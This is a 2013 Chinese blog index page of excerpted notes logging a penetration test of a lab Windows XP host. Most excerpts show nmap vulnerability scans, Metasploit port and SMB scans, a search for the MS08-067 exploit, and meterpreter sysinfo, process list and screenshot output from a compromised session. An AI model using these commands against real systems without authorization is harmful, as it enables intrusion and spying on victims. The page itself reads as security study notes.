语辰 - 博客园

2013年11月20日

摘要： 1548 1500 explorer.exe x86 0 LIXIULI-VCS86VR\test C:\WINDOWS\Explorer.EXE 1944 1548 vmtoolsd.exe x86 0 LIXIULI-VCS86VR\test C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 1960 1548 ctfmon.exe x86 0 LIXIULI-VCS86VR\testC:\WINDOWS\System32\ctfmon.ex... 阅读全文

posted @ 2013-11-20 10:17 语辰阅读(348) 评论(0) 推荐(0) 编辑

meterpreter > ps

摘要： meterpreter > psProcess List============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 Sy... 阅读全文

posted @ 2013-11-20 10:07 语辰阅读(232) 评论(0) 推荐(0) 编辑

meterpreter > sysinfo

摘要： meterpreter > sysinfoComputer : test-VCS86VROS : Windows XP (Build 2600).Architecture : x86System Language : zh_CNMeterpreter : x86/win32meterpreter > 阅读全文

posted @ 2013-11-20 10:05 语辰阅读(138) 评论(0) 推荐(0) 编辑

meterpreter > screenshot

摘要： meterpreter > screenshotScreenshot saved to: /opt/metasploit/msf3/wLafQYhx.jpegmeterpreter > /usr/bin/www-browser: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /usr/bin/www-browser)/usr/bin/www-browser: /opt/metasploit/common/lib/libssl.so.0.9.8: 阅读全文

posted @ 2013-11-20 10:04 语辰阅读(381) 评论(0) 推荐(0) 编辑

2013年11月19日

ubuntu

摘要： sudo passwd root #按照提示输入两次新的密码，并加以确认阅读全文

posted @ 2013-11-19 17:04 语辰阅读(114) 评论(0) 推荐(0) 编辑

一次真是渗透

摘要：手工进行漏洞检查的最佳途径之一是在metasploit中使用nmap的扫描脚本root@bt:/opt/metasploit/msf3# msfconsolemsf > nmap -sT -A --script=smb-check-vulns -PO 172.16.21.170Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2013-11-19 14:58 CSTNmap scan report for 172.16.21.170Host is up (0.00035s latency).Not shown: 990 closed ports 阅读全文

posted @ 2013-11-19 15:48 语辰阅读(1960) 评论(0) 推荐(0) 编辑

nmap -sT -A --script=smb-check-vulns -PO 172.16.21.170

摘要： nmap -sT -A --script=smb-check-vulns -PO 172.16.21.170调用了nmap的插件--script=smb-check-vulns-sT 隐蔽的tcp连接扫描-sS 隐蔽的syn扫描-A 高级操作系统探测功能search ms08_067_netapi 阅读全文

posted @ 2013-11-19 14:49 语辰阅读(1433) 评论(0) 推荐(0) 编辑

use scanner/smb/smb_version

摘要： use scanner/smb/smb_versionmsf auxiliary(smb_version) > set RHOSTS 172.16.21.170RHOSTS => 172.16.21.170msf auxiliary(smb_version) > run[*] 172.16.21.170:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LIXIULI-VCS86VR) (domain:WORKGROUP)[*] Scanned 1 of 1 阅读全文

posted @ 2013-11-19 14:35 语辰阅读(686) 评论(0) 推荐(0) 编辑

scanner/portscan/syn

摘要： msf > use auxiliary/scanner/portscan/synmsf auxiliary(syn) > set RHOSTS 172.16.21.170 /*设定rhosts参数为172.16.21.170RHOST => 172.16.21.170msf auxiliary(syn) > set THREADS 50 /* 设定线程数为50THREADS => 50msf auxiliary(syn) > runmsf auxiliary(syn) > run[*] TCP OPEN 172.16.21.170:135[*] TCP 阅读全文

posted @ 2013-11-19 14:30 语辰阅读(519) 评论(0) 推荐(0) 编辑

use auxiliary/scanner/portscan/syn

摘要： use auxiliary/scanner/portscan/syn 阅读全文

posted @ 2013-11-19 14:24 语辰阅读(301) 评论(0) 推荐(0) 编辑